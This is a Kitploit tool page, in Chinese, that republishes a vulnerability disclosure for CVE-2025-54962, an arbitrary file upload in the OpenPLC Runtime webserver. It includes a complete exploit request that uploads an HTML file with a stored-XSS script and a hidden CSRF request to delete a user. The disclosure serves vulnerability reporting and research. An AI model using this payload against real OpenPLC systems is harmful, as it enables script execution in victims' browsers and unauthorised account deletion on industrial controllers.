Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-54962 — 经过身份验证的用户可以将任意文件(例如.html、.svg)上传为OpenPLC Runtime中的个人资料图片。这些文件无需身份验证即可公开访问,从而可能导致存储型XSS或恶意内容传播。 | Kitploit
工具/GitHubGitHub/eyodav/cve-2025-54962
漏洞分析漏洞利用SCADA/ICS安全Web应用程序漏洞利用渗透测试学习与教育
GitHubeyodav/cve-2025-54962

CVE-2025-54962

经过身份验证的用户可以将任意文件(例如.html、.svg)上传为OpenPLC Runtime中的个人资料图片。这些文件无需身份验证即可公开访问,从而可能导致存储型XSS或恶意内容传播。

查看仓库
81年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🔥 CVE-2025-54962 — OpenPLC Runtime Webserver 中的不安全文件上传

(OpenPLC Runtime ≤ 2024-12-31 — 存储型 XSS、CSRF)

📌 摘要

我发现 OpenPLC Runtime webserver(发布版本:2024-12-31)中存在一个漏洞,允许经过身份验证的用户将任意文件(例如 .html、.svg)作为头像上传。这些文件存储在 /static/ 目录中,并且可以在无需身份验证的情况下访问,从而实现存储型 XSS 或恶意内容托管。


🧪 受影响组件

  • 路由: /edit-user
  • 受影响: 头像文件上传功能

⚠️ 影响

  • 文件类型验证不充分(MIME 类型和扩展名检查不足),导致任意文件上传
  • 存储型 XSS
  • 恶意内容托管
  • 上传文件可被未授权用户访问
  • CSRF

🎯 攻击向量

  1. 经过身份验证的用户上传 .html 或 .svg 文件作为头像。
  2. 文件存储在 /static/ 目录,并分配一个可预测的 ID(例如 http://localhost:8080/static/336029.html)。
  3. 任何用户(即使未登录)均可直接访问上传的文件。
  4. 如果文件包含 JavaScript 或其他恶意代码,该代码将在受害者的浏览器中执行。

📸 概念验证截图

PLC 运行时仪表盘

dashboard.png

上传恶意 .html 文件

choose file.png

使用“所有文件”绕过图片过滤器

file.png

从 /static/ 执行上传的文件

poc.png


🎞️ 视频 PoCs

  • 基础 PoC 演示
    poc de base.mp4

  • 未授权访问演示
    unauthenticated.mp4

  • CSRF PoC
    poc csrf.mp4


📤 Burp Suite Repeater 利用请求示例

root@kitploit:~
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
下载工具